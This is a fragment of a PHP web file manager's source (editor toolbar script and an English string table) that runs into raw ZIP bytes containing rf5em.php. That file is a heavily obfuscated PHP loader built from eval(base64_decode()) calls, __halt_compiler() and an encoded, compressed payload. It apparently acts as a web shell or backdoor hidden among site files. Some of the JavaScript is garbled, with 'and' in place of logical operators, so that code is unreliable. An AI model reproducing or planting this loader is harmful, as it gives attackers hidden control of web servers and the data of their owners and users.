x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change();
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue and cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue and selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue and selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue and selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
function lng($txt) {
global $lang;
$tr['en']['AppName'] = 'swallowable'; $tr['en']['AppTitle'] = 'swallowable';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
else return "$txt";
}
?>PK uPm\�*I�X� X� rf5em.phpnu �[��� <?php /* Checksum: eb19a3b779ba8db245db7b2e79ebfa5ddebe499a797b7d8bd2111257d6555e3ba003ed79a6e5df1746328783be963459047320274e2c0b9f3efe71f21724193e */ eval(base64_decode("JE9PT08wT09PMDA9ZmlsZShwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXykpOwppZihwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXyk9PV9fRklMRV9fIG9yCnByZWdfcmVwbGFjZSgiQFwoLipcKC4qJEAiLCIiLF9fTElORV9fKSAhPSAzKWRpZSgiPHR0PkVSUk9SIik7"));eval(base64_decode("ZnVuY3Rpb24gT08wMDBPTzAwTygkYSwkYil7JGM9YXJyYXkoODc4LDM0MCwxMjgsMTAxNjU0KTtpZigkYj09NDUpeyRkPXN1YnN0cigkYSwkY1swXSskY1sxXSwkY1syXSk7fWVsc2VpZigkYj09MTMzKXskZD1zdWJzdHIoJGEsJGNbMF0sJGNbMV0pO31lbHNlaWYoJGI9PTg1KXskZD10cmltKHN1YnN0cigkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));eval(base64_decode(OO000OO00O($OOOO0OOO00[0],133)));eval(O0000OOO0O(OO000OO00O($OOOO0OOO00[0],85),OO000OO00O($OOOO0OOO00[0],45),$OOOO0OOO00));__halt_compiler();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